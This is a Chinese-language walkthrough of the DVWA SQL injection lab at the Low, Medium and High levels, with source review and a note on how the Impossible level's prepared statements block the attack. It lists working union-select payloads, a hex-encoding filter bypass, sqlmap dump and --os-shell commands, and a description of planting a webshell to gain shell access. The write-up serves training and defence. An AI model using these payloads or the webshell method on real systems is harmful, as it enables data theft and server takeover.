DVWA-SQL回显注入模块 包括代码审计

Low

查看正常的查询页面，如图1.1所示。

图1.1命令是“id=1&Submit=Submit”

查看查询错误的页面，如图1.2所示。

图1.2 命令是“id=-1&Submit=Submit”

猜是否是数值型注入，如图1.3所示，发现是错误的页面；然后猜是否是字符型注入，发现成功显示了所有的id信息，说明注入攻击成功，是字符型注入，如图1.4所示。

图1.3 命令是“id=-1 or 1=1 – +&Submit=Submit”

图1.4 命令是“id=-1’ or ‘1’=‘1’&Submit=Submit”

猜字段，经过尝试，发现字段为2时显示正常，如图1.5所示；而3时则显示错误，如图1.6所示，说明2是正确的字段数。

图1.5 命令是“id=1’ order by 1,2 – +&Submit=Submit”

图1.6 命令是“id=1’ order by 1,2,3 – +&Submit=Submit”

查看回显位，如图1.7所示，发现回显位是1和2。

图1.7 命令是“id=-1’ union select 1,2 – +&Submit=Submit”

查询当前使用的数据库名字、版本、数据库存储路径、当前登录的用户的信息，如图1.8

图1.8 命令是“id=-1’ union select 1,group_concat(‘name=’,database(),’,version’=version(),’dir=’,@@datadir,’user=’,user()) – +&Submit=Submit”

查询所有的数据库名字，如图1.9所示。

图1.9 命令是“id=-1’ union select 1,schema_name from information_schema.schemata – +&Submit=Submit”

查询属于当前数据库的所有表，如图1.10所示。

图1.10 命令是“id=-1’ union select 1,table_name from information_schema.tables where table_schema=database() – +&Submit=Submit”

查询当前数据库内的users表的所有列，如图1.11所示，如果没有使用group_concat语句进行查询，会显示出和图1.9类似的很密集的数据，因此这里使用group_concat语句。

图1.11 命令是“id=-1’ union (select 1,column_name from information_schema.columns where table_schema=database() and table_name=’user’) – +&Submit=Submit”

根据上面的步骤，我们知道了数据库名字、表名、列名，因此我们接下来可以对数据进行获取，如图1.12所示，获取了用户名和密码（密码是经过加密的）。

图1.12 命令是“id=-1’ union select user,password from dvwa.users – +&Submit=Submit”

经过验证，发现登录成功，登录phpMyAdmin查询该表，发现sql注入所得到的结果和phpMyAdmin的结果一致，如图1.13所示。

图1.13

引发报错，页面显示网页的路径，如图1.14所示。

图1.14

进行写码，写到图1.14所得到的网页路径下，如图1.15所示。

图1.15

使用蚁剑进行连接测试，如图1.16所示，连接成功，获取到了webshell。

图1.16

查看源码，如图1.17所示。可以发现没有对用户的输入进行任何处理就直接拼接到了sql语句中并且执行。

图1.17

下面使用sqlmap根据进行攻击，首先是查看是否存在sql注入，如图1.20，可以发现存在四种注入方式。sqlmap的命令是“sqlmap.py -u “http://172.16.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=ssfn2fmps12c5mmc7b0cktjip4””

图1.20

获取数据库的一些基本信息，如图1.21所示，命令是“sqlmap.py -u “http://172.16.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=ssfn2fmps12c5mmc7b0cktjip4” --current-db --users --banner --current-user --hostname”

图1.21

查看dvwa下的所有表，如图1.22所示，命令是“sqlmap.py -u “http://172.16.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=ssfn2fmps12c5mmc7b0cktjip4” -D dvwa --tables”

图1.22

查看dvwa下users表的所有列信息，如图1.23所示，命令是“sqlmap.py -u “http://172.16.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=ssfn2fmps12c5mmc7b0cktjip4” -D dvwa -T users --columns”

图1.23

获取dvwa数据库内的users表中的user、password数据，如图1.24所示，命令是“sqlmap.py -u “http://172.16.12.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=ssfn2fmps12c5mmc7b0cktjip4” -D dvwa -T users -C “user,password” --dump”

图1.24

查看当前注入点数据库权限是否为dba，如图1.25所示。

图1.25

查看数据库存放的路径，如图1.26所示。

图1.26

根据上图所得到的结果不难猜出WWW的位置是在C:\phpStudy\PHPTutorial下的，因为根据这个目录就能够发现该网站是用phpstudy搭建的，而phpstudy搭建的默认位置就是在这里，知道了WWW的位置就可以使用–os-shell进行提权，如图1.27所示。

图1.27

由于sqlmap在这些–os-shell的时候，会生成一个文件上传文件和一个一句话木马文件，因此我们可以通过上传一个一句话木马使用菜刀等工具来进行连接。图1.28是文件上传的网站，图1.29所示的是自己上传一个木马文件进行连接的。它自己的一句话木马文件是来进行命令行操作的，而不是进行连接操作的。

图1.28

图1.29

查看源码，如图1.26所示，发现该难度没有对输入的数据进行任何处理就直接加入到sql语句中。

图1.26

Medium

由于Medium等级是下拉的，没有输入框，使用burpsuite抓包，发现是POST方式提交的，如图2.1所示。

图2.1

发现一旦输入单引号、双引号之后就会报错，并且添加了几个括号也不行，猜测该级别有对单引号、双引号处理的函数，或者是该等级是数值型注入，如图2.2所示。

图2.2

尝试是否是数值型注入，输入命令“id=-1 or 1=1 #&Submit=Submit”如图2.3所示，显示正常；而当输入的命令为“id=-1 or 1=2 #&Submit=Submit”如图2.4所示，显示错误，说明确实是数值型注入。

图2.3

图2.4

猜字段，如图2.5所示，发现“id=1 order by 3 #&Submit=Submit”时报错，而“id=1 order by 2 #&Submit=Submit”时正常，说明字段是2。

图2.5

查看回显位，命令是“id=-1 union select 1,2 #&Submit=Submit”，如图2.6所示，发现回显位是1和2。

图2.6

查看当前数据库名字、当前用户、数据库版本信息、数据库存放的路径，命令是“id=-1 union select 1,group_concat(database(),0x5c,user(),0x5c,version(),0x5c,@@datadir) – + &Submit=Submit”，如图2.7所示。

图2.7

查看所有的数据库，命令是“id=-1 union select 1,group_concat(schema_name) from information_schema.schemata – + &Submit=Submit”，如图2.8所示。

图2.7

获取属于当前数据库中的所有表，命令是“id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() – + &Submit=Submit”，如图2.8所示。

图2.8

查看当前数据库中的guestbook表里面的所有列信息，命令是“id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6775657374626f6f6b – + &Submit=Submit”，如图2.9所示。这里的“0x6775657374626f6f6b”是经过十六进制转化后的“guestbook”，因为如果没有转化成为十六进制而是直接采用“’guestbook’”的话会因为单引号被处理了而报错，我在网上找绕过的时候发现了将字符串转化为十六进制就能绕过成功的方法，而且我还使用base64、url编码等一些常见的编码进行绕过时发现都失败了。

图2.9

查看guestbook表里面的comment_id、comment数据，命令是“id=-1 union select comment_id,comment from dvwa.guestbook – + &Submit=Submit”，如图2.10所示。

图2.10

查看源码，如图2.11所示，可以发现对用户输入的id进行了一定的处理，能够处理一些常见的sql注入的符号。

图2.11

High

查看表单里面的输入框里面的name和按钮的name和value，如图3.1所示。

图3.1

查看显示正常的页面，如图3.2所示。命令是“id=1&Submit=Submit”。

图3.2

查看异常的页面，如图3.3所示，命令是“id=-1&Submit=Submit”。

图3.3

猜测是否是数值型注入，如图3.4所示，命令是“id=-1 or 1=1 &Submit=Submit”，发现是错误的页面，说明不是数值型注入。

图3.4

猜测是否是字符型注入，如图3.5所示，命令是“id=-1’ or ‘1’=’1 &Submit=Submit”，发现正常的页面，说明是字符型注入。

图3.5

猜字段，发现字段数为2时是正常的页面，而字段为3时则是一个报错的页面，如图3.6和3.7所示。命令是“id=1’ order by 1,2 – + &Submit=Submit”。

图3.6

图3.7

有上面的步骤可以发现，High级别没有对输入的字符串进行处理或者说没有对单引号进行处理，因此接下来的步骤和Low级别的一样，我就不一一演示了，命令都是一样的。比如说查看回显位时的命令时，Low级别的命令是“id=-1’ union select 1,2 – +&Submit=Submit”；而High的级别也是“id=-1’ union select 1,2 – + &Submit=Submit”。运行如图3.8所示，并且他们的显示结果都是由于的。

图3.8

查看源码，如图3.9所示，可以发现没有对用户的输入进行任何处理，和Low级别一致。

图3.9

Impossible等级的机制以及修复、防御方法。

查看源码，如图4.1所示，可以发现对CSRF进行了防护，并且还是用PDO、预处理对SQL注入进行了很好防御的方法，还对用户的输入进行了严格的规范，即只允许数字输入。就我目前所学习到的知识，我无法对Impossible级别进行攻击。

图4.1